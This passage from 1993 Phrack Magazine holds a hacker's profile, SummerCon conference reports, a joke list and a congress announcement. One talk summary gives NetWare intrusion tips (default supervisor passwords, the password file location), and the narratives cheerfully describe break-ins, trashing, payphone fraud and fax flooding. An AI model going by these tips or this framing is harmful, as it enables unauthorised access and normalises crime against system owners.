different BBSes, and when I was at a friends house on Cape Cod in the
summer of 1983, we used his 300 baud acoustic modem to call them.
I remember calling Pirate's Harbor in Boston, and I think we called
Pirate-80.
I wanted a modem badly, but they were too expensive. I convinced a
friend to split the cost with me, and on January 2, 1984 my
networker modem arrived. That month, in the process of getting warez
I ran up over $150 in phone bills as there were no local boards.
I was becoming obsessed with being on the modem, and on the computer
in general. I was never a good student, and my parents and teachers
found a way, they thought, to entice me to do my homework - hold
computer usage over my head. But this just succeeded in making me
sneak access when no one was looking - during lunch at school, or
when my parents went shopping at home. Soon they locked the computer
room (the den, really) when they left, but I used a ladder to get
in to the second story window until I had a copy of the key. To this
day I think if they let me indulge myself in my interest, I would have
become a much more normal computer geek, and done better in school.
Anyhow, I started learning about codez to appease the huge phone bills,
and started to learn more about phones & how they worked. The pirating
fell by the wayside as I became more involved with phreak/hack boards.
I was fascinated by communications (I always had been) and
phreaking/hacking opened up new frontiers. My inhibitions in breaking
the law melted away because it interfered with my enjoyment of
knowledge - had there been opportunities to pursue this avocation
without breaking the law, I probably would have done so.
A hacker was born.
What are your interests?
Women: Tall, thin, brainy, blue eyes. It seems as though I
attract all the psychos. Right now, I am FREE of
any relationships and haven't decided whether I am
enjoying it or not.
Cars: Cars are the greatest things. I love them. Art,
Machine & House - The only possession I have that
encloses me. I got my license later than most people,
and have learned to enjoy the freedom wheels bring,
especially for someone who lives in a rural area.
Right now, I own two cars, one running (barely) and
entirely generic, the other one very unique, beautiful,
and broken. The story of my life!
Food: I hate fish & chicken, love hot food. Not a vegetarian
in the least. But don't eat much, I am too busy.
I survive on Coffee.
Music: I have been 'alternative' for a while now, kind of
Gothic, sometimes I dress that way, sometimes I don't.
Favorite bands: Joy Division, Skinny Puppy, old Cure,
but I have been starting to like Techno more and
also Classical. Go figure.
Favorite authors: Ayn Rand, Ann Rice, Robert Anton Wilson, George Orwell,
Douglas Adams, J.G. Ballard
Favorite Book: Atlas Shrugged
Favorite Movies: Brazil, 1984, The Holy Grail, Heathers, Blade Runner,
Max Headroom, Slacker, Subway, Drowning by Numbers, Dune
Favorite TV: Doctor Who (of course), The Avengers, Miami Vice,
Hawaii Five-O
What am I?
A slacker, a hacker, a writer, a romantic, a twenty-nothing, a lost
poet, a New Englander, an American in the truest sense of the word,
a girl-chaser, a connoisseur of cheap champagne & expensive beer,
a dilettante, a smoker of cloves, caffeine addict, an atheist,
a discordian, a libertarian of sorts, a cynic, a procrastinator,
a conversationalist, a fast driver, an oldest child, a criminal,
a watcher of fire & water, a lover of love, a believer in the unpure,
a trekkie, a whovian, an anglophile, still an undergraduate, jealous,
mischievous, a perfectionist, a believer in the essential
good in mankind, and probably a mortal.
What are some of your most memorable experiences?
The worst day of my life - 3/11/86 - getting busted, and not knowing
what for. My parents called up my high-school and left a message for
me to call home immediately. When I did, they informed me that the
Secret Service and TRW (Hi Mr. Braum) had been in our house and removed
everything. A nosy neighbor saw the whole incident, and within days our
entire town knew about the raid.
Some three and a half years later they pressed charges. So much for
due process and right to a speedy trial.
Good days:
5-91 - Being all fucked up in NYC with my girlfriend and Bill from RNOC;
10/9/84 - My first TAP meeting. Expecting to meet Mark Tabas but
meeting his father instead. Tabas had run away from home, and his
parents found some notes indicating that he might turn up in New York
at Eddie's for the TAP meeting. Tabas' dad hopped on a plane to NYC,
rented a car and staked out the meeting. Everyone inside, already
convinced that they were under surveillance, became very aware that
they were being watched by some guy in a suit and a rental car.
Eventually, he came inside and asked if anyone knew where Tabas was.
We said "Who wants to know?" To which he gave out his business card
letting us know he was Tabas' dad and just worried. Tabas was not
even in New York.
The whole summer of 1985 - staying at home, hacking and loving being
a computer geek. Four days straight on an Alliance Teleconference once,
being woken up each morning by blasts of touch-tone!
Philadelphia Cons, back in 86.
West 57th St. - a few seconds towards my 15 minutes of fame.
KP+914-042-1050+ST
Discovering Pad-to-Pad.
McD: Becoming an XRAY Technician. (Dr. Bubbnet)
MSK ../tdas
NET-LINE-20245614140000.
Wallpapering my room with Sprint Foncard printouts
Most of the rest of my most memorable experiences are in my love life,
which is none of your business!
Some People (and/or BBSes) To Mention:
My favorite BBS of all time was Farmers of Doom. Also memorable were
The Legion of Doom, Osuny, WOPR, Black Ice, and lots more.
My favorite boards were the ones where there was a lot of activity, and
a lot of trust between the users. While a board that doesn't crash
all the time is important, an expensive computer does not a good
board create.
There are a lot of people who I would like to mention that have helped
me greatly and who I have known for a very long time:
Lex Luthor - Just because you're paranoid doesn't mean people
AREN'T out get you.
Mark Tabas - He really does look like Tom Petty.
Bill from RNOC - Should sell used cars.
RC Modeler - I hold you wholly responsible for the Clashmaster incident :)
Tuc - Well, he's just Tuc. What else can you say?
X-Man - Is he an FBI agent yet?
Karl Marx - Only person I know with his own dictionary entry.
Next: the social register.
Mr. Bigchip - Who is that? (I'm sure you are all asking)
The Videosmith - (see entry for Luthor, L.)
Parmaster - Should have followed Lex's advice.
Kerrang Kahn - His accent is finally gone.
Terminal Man - So long and thanks for all the codes. (This man
knew The Condor?)
The Marauder - Has taken up permanent residence on IRC.
Shatter, Pad, Gandalf - PSS Junkies. What those guys wouldn't
do for an NUI.
New York - Don't Mess With Texas
Everyone Else - Sorry I couldn't think of anything clever to say.
One I would like single out is Erik Bloodaxe, who I have known over the
phone for 9 years now, but will meet for the first time at this year's
Summercon, if I get there. [Ed: He didn't make it]
Also: for you hackers that have disappeared from my life, you who had
my number, my parents' number has never changed, you can contact me
through them if you like, I would love to hear from you.
How do you see the future of the Underground?
It's not going to go away. There will always be new challenges. There
are always new toys for curious minds. There may be a split into
several different, only partially interlocking 'undergrounds' involving
different types of technological playing. In spite of Caller-ID and
advanced security functions of the new digital switches, there will
still be many ways to phreak around the phone system: taking advantage
of the old Crossbars in remote areas, and by finding some of the
'pheatures' in new switches.
Hacking on the Internet will always be around despite who controls the
net, though I am sure there would be a lot more destructive hacking if
the mega-corporations take it over. Security of systems is more a social
problem than a technological one, there is always a segment of the
population that is gullible, stupid, or corrupt. There will always be
some smartass out there making trouble for the Organization. Constantly
evolving systems and brand new systems will present security holes forever,
though they may be harder to understand as the systems grow more complex.
With more computers networked there will be a lot more to play with.
Socially, I am worried about the huge wars that have developed,
LOD v. MOD, etc. While hackers have always been contentious, as well
they should be, the ferocity of attacks has me somewhat stunned. I will
leave out blames and suggestions here, but I will just make the
observation that as any community grows large in size, the intimacy
that it enjoys will be diminished.
When the underground was small, isolated, and revered as black magicians
by outsiders, it was as though we were all part of some guild. Now that
there are many more people who have knowledge of, and access to, the
hacker community, there is little cohesiveness. I see this getting
worse. The solution may be tighter knit groups. But an outbreak of
wars between mega-gangs could be a real catastrophe.
The cyberpunk aesthetic seems to have captivated the underground.
Some people have to be aware that the community was here before William
Gibson was patron saint, and that most of us still can't successfully
"rustle credit" - which means this is a hobby, not a profession.
Will this change? Slowly, I imagine. The trendies will get tired and
find something else to pretend to be, (maybe dinosaurs, given
the current popularity of Jurassic Park), and only the hard-core hackers
will be left. Some of us may, in time, turn into computer criminals,
to which I am indifferent, as it won't be me. The current cyber-hysteria
has attracted a whole bunch of trendy fakes, and is distracting us from
what originally brought us, most of us anyway, to hacking/phreaking in
the first place - the insatiable curiosity, the dance of the mind
unbounded.
Will the hype die? Time will tell. Sometimes I get so sick of the crap
I see on IRC that I wish someone would give me back an apple IIe and
an applecat 212, and set me back down in 1984. Just call me
over the hill.
Any end comments?
Hacking is the art of esoteric quests, of priceless and worthless
secrets. Odd bits of raw data from smashed machinery of intelligence
and slavery reassembled in a mosaic both hilarious in its absurdity
and frightening in its power.
-----------=?> Doctor Who <?=-----------
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 7 of 27
CONFERENCE NEWS
PART I
****************************************************************************
The Missouri Programmers' Convention Transcripts
Compiled by Synapse 403
For those of you who were at the con, or moreover were at the con
and can remember it (Sir Lance?), these transcripts are for you.
They are not absolute in their accuracy and are most likely full
of holes, however please keep in mind they are the transcribed
product of a hacker who is suffering from a hangover of heroic
proportions, and is typing to keep his mind off the mutiny
happening in his stomach.
Please note that within the transcripts you will find parts of
the speaker's words paraphrased, this is not intended to
misrepresent them, this is simply an easy way to cut to the chase
and get this job done. Another note to make is that with in this
transcript, several people have been labeled unknown, this is
either due to I could not see their face while they were speaking
or they wished to remain anonymous. These folks will be labeled
"unknown" keep in mind that this is for the above reasons and not
any slight, or K-RaD At|T|_|D3.
SummerCon
Introductions on camera were the essential beginning of the
meeting, with Drunkfux wandering counter clockwise through the
room, pointing the camera (that he was clinically joined with),
in your face and asking your name and to say a bit about yourself.
Surprisingly enough there was little adverse reaction to this
aside from a few quiet jokes in relation to people wondering how
much $ Drunkfux would be getting from SRI for the tape <G>
Stuart Hauser from SRI, Stanford Research Inst. was the first
speaker of the day, he was (or is) a older looking man who looked
relaxed and confident. He was here to tell us about SRI and their
goals (or he was here to milk the crowd for info, depends who you
talk to I suppose).
SRI is an international corporation, employing over 3000
people, that claims no ties to the Feds, NSA , CIA or any other
government arm interested in harming, persecuting or even
prosecuting the hacker community.
Their main concern is major network security, on a corporate
level. However there was talk of SRI having contract work for
military related arms producers this was not brought up at the
conference.
He started by talking about himself and SRI, he mentioned their
policy and their feelings towards dealing with the hacker
community on a productive level. He went on to confirm, that
someone we all know or know of that works for the same company is an
asshole, and we are not the only community to realize this. I
will leave his name out for reasons of privacy, however a good
hint for those who were not at scon and are reading this his first
name starts with DON.
After allowing us all to laugh this over he went to tell us of
the finding of his teams research form SRI. His team consisted of
himself, Doug Web, and Mudhead, they were tasked to compile a
report on the computer underground in some nebulous fashion, he
was of course (at least to me and everyone I was sitting with)
not very clear with this. To the best of our knowledge the report
was like a damage potential report, ie: How much can the hackers
really do, and HOW much will the hackers do?
Stu conceded that the networks and companies had more to fear
from corporate espionage at the hands of employees and
mismanagement then they did from hackers. However he fears a
new breed of hackers he says are becoming a reality on the nets,
the hacker for cash, digital criminals. He felt that this new
breed of hacker will be counterproductive for the both the PD
world and the underground on the basis that if they destroy it
for the corps, we cannot use it either.
In the way of security Stuart felt the Social engineering was
the biggest weakness of any system, and the most difficult to
defend against. Also he felt too much info about machines and
security of them was public info, also public info was available
for use in social engineering. He felt that the only way to
combat this is to make the employees and owners of companies more
aware of these threats. Beyond the social engineering he feels
that physical measure are too weak at most facilities and do not
protect there hardcopy data well enough he meant this both for
Trashing and actual b&e situations again he felt the situation
was to spread awareness.
While conducting the interviews to for this report Stuart formed
his own opinion of the hacker which he shared with us. He feels
that hackers for the most part are not malicious at all, and are
actually decent members of cyberspace. Moreover he feels that
hackers should be put to work as opposed to put to jail.
Something we all feel strongly about. Stuart finished his speech with
brief allusions to scholarships and upcoming programs, at this point he
left the floor open to questions. The are as follows:
Emmanuel Goldstien: "Earlier you (Stuart) mentioned the existence
of 'malicious hackers', where are they?"
Stu: "Holland, Scandinavia, the UK poses a great threat,
Israel, Australia. The bloc countries for virii and piracy are very
busy right now, We have to wonder what will happen when they get full
access to our nets. What happens when the eastern bloc catches
up?"
Unknown: "Who finances this".
Stuart: "Really that's none of your business" (paraphrased <G>)
Unknown: "Where is the evidence of these so called malicious
hackers, I think the whole malicious hacker idea is spawned by the
media to justify the persecution of hackers".
Stuart: [Has no chance to reply]
Control-C: (interjects) "Punk kids are all over the place doing it
man."
KL: "its common knowledge that it is happening there."
Stu: (offers example) Was told that at three companies have tried
to hire tiger teams, for corporate breaches however he has no proof
of this. Yet he feels the sources were reliable.
Unknown: "I have heard rumors that SRI is writing software to
catch hackers. is this true?"
Stu: Says he hasn't heard about this. However if they are more
interested in what SRI is doing he will be sticking around until
this afternoon or evening. And has about 15 copies of the report that
are available to the public.
Next speaker
[I was out of the room for this speaker and asked Black Kat to
type this in, so your guess is as good as mine.]
Someone showed a DES encryption laptop, 8 months old, with a built in
chip to encrypt everything in and out (modem, disk, etc). Didn't have
an overhead projector but was giving personal demos. Made by BCC
(Beaver Computing Company) out of California. Doesn't advertise, but
will give sales brochures etc, if you call the 800 number.
Thinks the govt is discouraging wide scale distribution.
Count Zero & RDT
Count Zero announced he would be talking on a unique telco
feature they found and about packet radio. Stickers and
board adds from RDT and cDc were handed out at this time.
White Knight and Count0 started by introducing a bizarre
telco feature they came across, and played a tape recording to
demonstrate some of its features to the crowd. After some chatter with
the rest of the con, nothing definite was concluded, however, some
good ideas are brought out. (As well as some insight by folks who have
discovered similar systems.)
Next came some comic relief from Count0 and White Knight in the
way of the termination papers of an employee from a telco, the
employees case report was read to the crowd and essentially painted the
picture of a really disgruntled and ornery operator. Specifics were read,
and people laughed at the shit this guy had gotten away with, end of
story.
Following this Count0 spoke for Brian Oblivion who could not be
there about an American Database/social program called America 2000.
Brian came across this information by the way of a group in Penn state,
the program is meant to monitor the attitudes of students, and how
they behave with within state standards..
Furthermore the Database is compiled without the knowledge or
permission of parents, beyond this the file can stay with a man
or woman for life, in the hands of the state.
Count0 on Packet Radio
Self-empowering Technology
Next came the actual Packet radio discussion, Count0 displayed
his hardware and talked at great length on a whole spectrum of issues
related to the radio packet switching, and some points while straying,
even the morality of the FCC. This went on for quite some time.
Count0 instructed the crowd on the principle behind packet switch
radio as well as explaining which licenses to get and to apply.
Drunkfux, Merchandising
Drunkfux
Drunkfux started by, Merchandising a shitload of ho-ho con
shirts, 15$ a piece as well as mthreat his tonloc shirts, also selling the
mods for the Mistubishi 800, mthreat also had a chip preprogrammed for
the Mits 800 avail. Those who could not get the mod were told to get it
from cypher.com in /pub/vind. He told us of the new Metal Land revival and
said a bit about it.
Next and most interesting was the discussion of the fate of
Louis Cypher, and his companions in the recent bust. It seems Cypher
and ALLEGED accomplices Doc and JP have been charged with numerous
felonies not which the least of is Treasury Fraud and b&e of a federal
post office. Drunkfux went into detail on how they had been turned
on, and essentially entraped into the situation. Also how the media as
per usual had made a witch hunt out of it by connecting Doc to the a
remote relation to the Kennedys etc, etc.
Eric Neilson with CPSR
Eric Nielson started by telling the crowd what had drawn him to
the CPSR, by the way of reading a discussion in congress about a
congressman defending the strength of a Starwars network by stating that the
gov had an excellent example for security: the phone networks in the
USA. Needless to say Eric had little faith in this analogy <G>.
He went on to describe what the CPSR covers and what they have
done recently in the of the clipper debate, Sundevil and other 1st
Amend. issues. He discussed the internal workings of CPSR and its
funding police as well as telling Conf Members how to go about joining.
Erik Bloodaxe
Erik started out with explaining why Phrack 43 is not yet out.
This is due to the fact that Stormking.com will not allow it to be mailed
from it, seeing as the owner does telco consulting and feels it would
be a conflict of interest. Furthermore he won't give the listserve to
the Phrack Staff, making it somewhat difficult to distribute. However KL
is acting as a mediator and hopefully this will be settled soon.
Mindvox was considered but rejected as a choice, for fear of people
getting a hold of the list..
On the issue of Phrack and the copyright, Erik had only ONE fed
register out of all those who collect it. However Phrack has
obtained logs of both CERT forwarding Phrack by mail, as well as Tymnet
obtaining the mag.
Beyond this Agent Steel was discussed in an "I told you so
fashion" it turns out that him being accused of being a narc in the past
were valid, seeing it was proved by way of documentation that Agent
ratted out Kevin Poulsen (Dark Dante) resulting in his current 19
charges.
And of Course the new LOD issue was broached, however very
little was discussed on it and it was simply agreed to a large degree that
Cameron (lord Havoc) must have been seriously abused as a child to
display the type of obvious brain damage he is afflicted with now.
Emmanuel Goldstein 2600
Emmanuel Goldstein in his purple Bellcore shirt discussed with us
his appearance before a Congressional hearing on a panel with Don
Delaney and how the hostility shown towards him by the house
representatives in session. Beyond this he went on to describe several
nasty letter letters sent to him by telcos for PUBLIC info he had posted
in the winter issue of 2600. This is a very brief summary of what he had to
say, mainly due to the fact that I was too busy listening to him to
concentrate my apologies go to those who were interested in
reading the whole thing.
Next up was a lengthy discussion on Novel Software and its
weaknesses, By Erreth Akbe however the speaker he wished me to leave
this out of the transcripts so I will respect his wishes in this.
********End Of Transcript***********
I would like to thank the following for making the Con an
experience for me that I will not soon forget:
Arist0tle, Black Kat, Butler, Control-C, Erreth Akbe, Tommydcat,
the Public and theNot. Thx guys.
Please send all responses to Besaville@acdm.sait.ab.ca
*****************************************************************************
Presenting :::
SummerCon 1993 in Review !!!
Hacking Tales and Exploits by the SotMESC
Additional Activities by the GCMS MechWarriors
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
The weather was right, too right. Something was foul in the
air. It was akin to that mythical 'Calm before the Storm' scenario
that is dreaded by so many. But, Scribbles and I boarded the
Techno-Laden SotMESC compact and took off down the Highway to our
ultimate goal . . . Hacker Heaven in Summertime Fun - SummerCon !!!
Instantly, weather was seen brewing in the Caribbean. Hints
of Hurricanes echoed through the towns we drifted through. To
alleviate any anxieties, massive quantities of Jolt! were obtained
in the infamous town of Hatties-Gulch, a small town taken over by
the virulent filth called College Students.
The trip continued, over hill and over dale. Dale was quite
considerate not to press charges. Colleges were passed in a blink
of the eye. Nothing was going to stop us. We were on a mission
from the Church. But, that's another story.
After locating that famous arch, a beeline was made at speeds
over 100 MPH through St. Louis until our destination came into
view: The St. Louis Executive International (800-325-4850). We
came to meet our nemesis and friends at the fest hosted by the
Missouri Programming Institute. Brakes were quickly applied
as the car appeared to be going off the off-ramp and into the ditch.
From the lobby it was obvious, there were unusual people here.
These were the kind of people that you fear your daughters would
never meet. The kind of people that kicked themselves into
caffeine frenzies and would become infatuated with virtual lands.
Yes, these were my kind of people.
Now, the adventure may start . . .
Oh, and in response to A-Gal on pg 30 of 2600, Scribbles
says she's the sexiest hacker on the nets. Hmmmmm, I'm inclined
to agree with that. I'm sure Control-C will agree too, especially
after he trailed her for half of SCon.
Now, we all know that Friday is the warm-up day on what we can
expect to see at SCon during the main Saturday drag. It was no
surprise to find the main junction box rewired, pay-phones providing
free services, rooms rerouted and computers running rampant down the
hallways. But, the traditional trashing of Control-C's room this
early signaled that more would be needed to top the night. The
maid was definitely not pleased.
For a list of those that attended, maybe KL can provide us
with that information. There were too many faces for my fingers
to lap into. And, there were quite a few new faces. I believe
that Weevil was the youngest hacker at 16, and Emmanuel was the
oldest, although he didn't give his age.
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
THE CONFERENCE
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
Let's get to the meat of the matter. The conference had
a nice spacious central area with tables neatly lining alongside
the wall. Between the tables and the walls were many hacks packed
as tightly as they could get. Why didn't we think of moving the tables
closer together ???
KL took control and ran the conference smoothly. dFx panned
everyone on his digital camcorder. Several cameras were around
to provide us with gifs later. And the conference took off . . .
First up was Stuart from SRI (Stanford Research Institute).
He elaborated on SRI's being involved in research, engineering and
design. From studies done around the world with hackers and those
associated, malicious hacking can not be stopped. There is no
evidence, though, that the current hackers are interested in
bringing the networks down at all. Concern was given to new
hackers that may be emerging with financial gain and maliciousness
occurring. The top security hole with system was noted as
being the infamous social engineering technique. SRI did note
that many places did not utilize the security that they even had
in place. It was also noted that laws against malicious hackers,
and probably any hacker, should be fair and just. The most
malicious hacks that are turning up have been spotted in the
following named countries: Holland, Scandinavia countries,
very possibly soon in the UK, Australia, Israel, the former USSR,
and Bulgaria ( noted for virii writers ).
A voice made mention of Operation Rahab, hackers in German Intelligence.
Next up was Count Zero from cDc/RDT to talk about packet
radio. His talk included information about the IESS and handed
out a flyer on America 2000 ( school under 1984 regimes ).
Maybe someone will provide us with a copy of this. A packet
radio modem at 1200 can be obtained easily for $50. TCP/IP
packets are already being send over the bandwidth along with
other network protocols. The usefulness of all this is that
the information is broadcast and it is virgin territory. The
baud limitation is due only based upon the bandwidth you are
operating at and the number of collisions occurring. On a
band you can see every packet that is being transmitted if
you wish. All this is located on a 2 meter band. Currently
the FCC forbids encryptions on the airwaves, although this is
noted as being virtually impossible to enforce. It also takes
5 months to get an amateur radio license, and your personal info
is recorded in a book easily obtained at libraries. The problem
with going around the FCC is that there exist vigilante HAMs that
monitor the bands and have nothing better to do than filter
info and whine to the FCC. Bandwidths are decreasing though.
This is due to an increased interest overall by communications
in these areas. Unless you do something major the FCC will
not give you much interest. The book on preparing yourself for
a Tech Class can be obtained from Radio Shack for $9.
Next up was dFx. He was promoting the HCon and Tone-Loc
t-shirts that were for sale. Merchandising was getting pretty
high. He also gave out a few Mitsubishi 800 disks. He was
also recognized as the ONLY and LAST member of the Neon Knights,
a club that had a wide range of comedy names generated. The
word was put out the HCon '93 will be in December 17-19 with
a hint that it could also wind up being in Austin. Then the
conversation turned to Lord Byron's bust, which we should here
more information on any day this week. The conversation
reiterated the government narc that was at the AA meeting
that was pressuring Byron. Byron was also noted as having
rejected a plea bargain the courts offered him. And lastly,
it is going to happen soon so get them while you can. The
FTP site at eff.org will be dropping its CuD directory due
to a conflict of interest with EFFs major contributors, mainly
the RBOCs and other interest groups that don't like us.
Erik Bloodaxe took the table next to talk about what
was happening with his involvement with Phrack and some
interesting info about Agent Steel. As for Phrack, the
Email list is being with-held by Tuc. The mailing list
has been refused at Mindvox due to files missing mysteriously
at that site. And, no organization registered for Phrack #42
since it was copyrighted with a nice and lengthy preamble,
except for one company from Mitre. Currently Phrack #43 is
in limbo and is estimated at 1 Meg long. Going onto the
info about Agent Steel, basically he's a narc. Lord Havok from
Canada is trying to restart the LOD under some unknown
logical rationale that since LOD is defunct, anyone can
reclaim the name. Lord Havoc, aka Cameron, has been going
around trying to get documentation to put together an LOD
technical journal #5. Supposedly there is a skin-head group
in Canada that in now tracking Cameron down.
Someone came up next [Minor Threat] and gave us an update on
Codec. Two weeks after the last SCon, Codec was pulled over while
on the run from the law for speeding and then arrested for
burglary, resisting arrest, etc . . . He is estimated to
be out of jail in 1995 and still has time to serve in a few
other states. Mail can be sent to him at this address:
codec@cypher.com. Maybe Crunch can give Codec some hints on
how to get by in prison?
From the CPSR, Eric Nielson took the table. He elaborated
on the CPSR and ran a Q&A period. Basically, the CPSR files many
FOIA requests and sues the government. Their focus is on the
workplace computing. Elaboration was given on the Clipper Chip
and computer ship security. The CPSR is staffed with lawyers
and takes their funding from dues and grants. They are not
sponsored by any corporations.
From the far side of the table came the infamous Emmanuel
Goldstein from 2600. He stated how he had testified at congress and
gave them a live demonstration of bandwidth scanning and redboxing.
While he was there, the inquisition started against him on the
issue of 2600. Emmanuel then tried to explain the culture to
our representative that it is bad to classify all hackers as
criminals. Goldstein then went on to talk about the DC 2600 bust
and how it has resulted in 2600 meetings springing up all across
the country. A review of several films on software piracy at
the office, disaster recovery and viruses from Commonwealth
Films was given. And, to highlight everything, 2600 has purchased
an AT&T van that they plan to take to assorted conventions and
start a fleet of these up.
Pst, BTW, on pg 43 of 2600 the intersection should be a jump =:)
Last up was Erreth Akby, a Certified Netware Engineer. He
explained that the only upgrade in Novell 4.0 is the disk compression.
He also informed us that the supervisor and guest accounts generally
have default passwords. TO hack into this Net, you should use a PC
with full alt and functions keys. The supervisor p/w is on the
RConsole in a file called autoexec.mcf on version 3.11. Netcrack
will not work on a system with Intruder Lock-Out. Non-dedicated
netware must boot from a floppy. Best of all, you can dial out
by using cubix-quarts, which are PC with modems on the system.
Below is a quick reprint of a paper that was recovered
from Control-C's trashed room.
Mrs Jasnagan,
I would like to set up a meeting
to discuss Kevin's progress in Social
Studies and English. Please let
me know when it would be
convenient.
Thank you
( Scribble , scribble )
Dear Mr + Mrs Gormby,
We would be happy
to meet with you at
9:30 on Thursday, April
1st in Room 104
Sincerely,
M.Jarnagin
&
S.Dietrich
Now, could this be Kevin Poulson ??? Naaa, no way.
Amazing what technical data trashing will uncover. I guess
I should throw this away now . . .
After the convention, there was much rejoicing. The reasons
would become fairly obvious as a 'swingers party' sign was soon
located outside one of the hotel wings. Yes, it would be a very
good convention.
Several people made their way to the vehicles for a long
night of trashing and raiding of the various FedEx, UPS and
other assorted boxes around town. Other groups made their
way to computers that were trying to connect with anything
they could out in town. There were also those that reluctantly
went to the mall to take advantage of the local population.
What did not happen ??? Control-C did not get laid, but
it was rumored that there were a few 12-year olds wandering
around the hotel looking for this legendary hacker. No deaths
had occured, the fires were kept to a minimum and nothing major
was noted as being broken.
One thing was for sure, there were a lot of alcoholic
beverages going around, walkie-talkies, scanners, and wild
tales. Several area buildings were broken into, but nothing
major was done.
Then the shit hit the fan. It seems several hackers had riled
the swingers into a frenzy. I guess the swingers couldn't swing
with it. What happened ??? Phones went ringing room to room and
radios blared to life that the cops were here !!! At count, there
were 6 cops, 1 sheriff and 4 hotel employees that started patrolling
the hallways. Yes, we were under room arrest at our own convention
in our own wing. Anyone that left there room was told to stay there
or they would be arrested. The cops were very insistent that no
pictures were to be taken. The swingers had broken our balls.
But, this would not stop us. Soon, there was a phone network
going on with radio interfaces. The windows opened and a few migrated
to other locations of the hotel. After a while, the authorities left
feeling satisfied that they had intimidated us. They didn't.
After they left, the hallways erupted again. In the SotMESC
room a gathering turned out to watch several techno-infested
videos. At the cDc room were others viewing the HoHoCon '92 film
that dFx brought down with him. At one point, the microwave
around the lobby was detonated and a mysterious stack of Credit
Card carbons was found. The liberated phones were being
utilized to their full international extent, and several of the
soda machines decided to give out a few free drinks.
But, we couldn't leave well enough alone. Sir Lance went
to the lobby and took a picture of the hotel Asst. Manager.
I guess this guy didn't like his photo being taken, since he
turned around and called the cops on Sir Lance. Down the hallway
the cops came, dragging Sir Lance back with them. In the end,
the cops explained to the Asst. Manager that it was not a crime
in the US to take pictures of people.
In another related story, Kaos Wizard wound up calling the
SotMESC room with a wild plea for help. It seemed he was with
a large group of trashers that included Albatross, Intrepid,
Forced Entry, Zippy, The Public and more. Kaos was at a Central
Office close to the hotel on Woodson and needed help. He had
taken off to take a piss and noticed that the trashers were
surrounded by cops when he returned. There was no way he was going
back with all those cops there ( and, might I mention, there was
also a police dog ). Mystic Moos gathered up a few people and
went to rescue Kaos Wizard as the rest of the trashers returned
to the hotel. It seems they had eluded the cops by telling them
that they were waiting for their friend to return from taking
a bathroom break ( Kaos Wizard ). Unfortunately, he never
returned. The cops let them go eventually. Mystic Moos rescued
Kaos Wizard, and the hotel was aglow in activity again.
Control-C came down the hall at one point to make a startling
discovery. It seems that at a local club there was a band playing
that featured 'Lex Luthor'. The elusive X-LOD founder had been
located. AFter some thought, it was decided he could stay there
and sing the blues while the rest of us partied the night away.
For those interested, the hotel fax is 314-731-3752.
One of the police officers detaining us was S.M. Gibbons.
IBM will send a 36 page fax to the number you give them.
To activate, call 1-800-IBM-4FAX. As you can imagine, it wasn't
long before the hotels fax ran out of thermal paper.
Below is a gathering of Flyers . . .
HoHoCon '92 Product Ordering Information
If you are interested in obtaining either HoHoCon shirts or videos,
please contact us at any of the following:
drunkfux@cypher.com
hohocon@cypher.com
cDc@cypher.com
dfx@nuchat.sccsu.com
359@7354 (WWIV Net)
HoHoCon
1310 Tulane, Box #2
Houston, Tx
77008-4106
713-468-5802 (data)
The shirts are $15 plus $3 shipping ($4 for two shirts). At this
time, they only come in extra large. We may add additional sizes if
there is a demand for them. The front of the shirt has the following
in a white strip across the chest:
I LOVE FEDS
( Where LOVE = a red heart, very similar to the I LOVE NY logo )
And this on the back:
dFx & cDc Present
HoHoCon '92
December 18-20
Allen Park Inn
Houston, Texas
There is another version of the shirt available with the following:
I LOVE WAREZ
The video includes footage from all three days, is six hours long and
costs $18 plus $3 shipping ($4 if purchasing another item also).
Please note that if you are purchasing multiple items, you only need
to pay one shipping charge of $4, not a charge for each item. If
you wish to send an order in now, make all checks or money orders
payable to O.I.S., include your phone number and mail it to the street
address listed above. Allow a few weeks for arrival.
Thanks to everyone who attended and supported HoHoCon '92. Mail us if
you wish to be an early addition to the HoHoCon '93 (December 17-19)
mailing list.
Calvary Black Crawling Systems
617-267-2732 617-482-6356
ATDT EAST
617-350-STIF
DemOnseed sez: "Call ATDT East or I'll crush your skull"
Home of -= RDT...
Trailings to follow . . . Slug, slug, slugfest . . .
Join the ranks of the Cons: HoHoCon, MardiCon, SummerCon !!!
****************************************************************************
Top 25 Things I Learned at SummerCon '93
--------------------------------
By Darkangel
SummerCon is a place where many hackers from all over the
world meet to discuss the current state of hacking today, and to
drink themselves under the table. Every year, pages and pages of
useful information is passed and traded among the participants.
In this brief summery, I will attempt to point out the things
that I learned and I thought were the most helpful to the whole
hacker community. I hope you enjoy it.
#1) DON'T let Control-C within 15 feet of any person that
does not have a penis.
#2) Knight Lightning will have a stroke before the age of
30.
#3) French Canadians ALWAYS sound drunk.
#4) Loops do not make good pickup lines.
#5) The Zenith is outside the window. Just look up.
#6) Smoking certain herbs is still illegal in St. Louis.
#7) If you see a taxi and think it might be a cop, it
probably is.
#8) Hotel Security is worse than Mall Security.
#9) The payphones in the lobby are not meant to be free.
#10) Do not climb through the ceiling to get to the room
with the PBX in it.
#11) Do not glue the locks shut on an entire floor of the
hotel. (especially when people are in them)
#12) This machine is broken.
#13) Do not dump bags you got trashing on the floor of
someone else's room.
#14) St. Louis police do not appreciate the finer points of
Simplex lock hacking.
#15) VaxBuster should never be allowed to drink Everclear.
#16) Scribbles has a very nice ass.
#17) Do not photograph Pakistani hotel security guards.
#18) Do not try to bring a six pack through customs.
#19) Loki is the Fakemail God.
#20) Do not rip the phone boxes out of the walls and cut
the wires.
#21) Barbie Doll pornos can be cool.
#22) Frosty can do weird things with techno and movies.
#23) Always remove the mirrors from the walls to check for
hidden cameras.
#24) Do not threaten or harass other people staying at the
same hotel. This can be bad.
#25) I really don't think the hotel will let us come back.
That wraps it up! See you at HoHoCon!
-Darkangel
***************************************************************************
Hack-Tic Presents
H A C K I N G
at the E N D of the
U N I V E R S E
1993 SUMMER CONGRESS, THE NETHERLANDS
=========================================================================
HEU?
Remember the Galactic Hacker Party back in 1989? Ever wondered what
happened to the people behind it? We sold out to big business, you
think. Think again, we're back!
That's right. On august 4th, 5th and 6th 1993, we're organizing a
three-day summer congress for hackers, phone phreaks, programmers,
computer haters, data travellers, electro-wizards, networkers, hardware
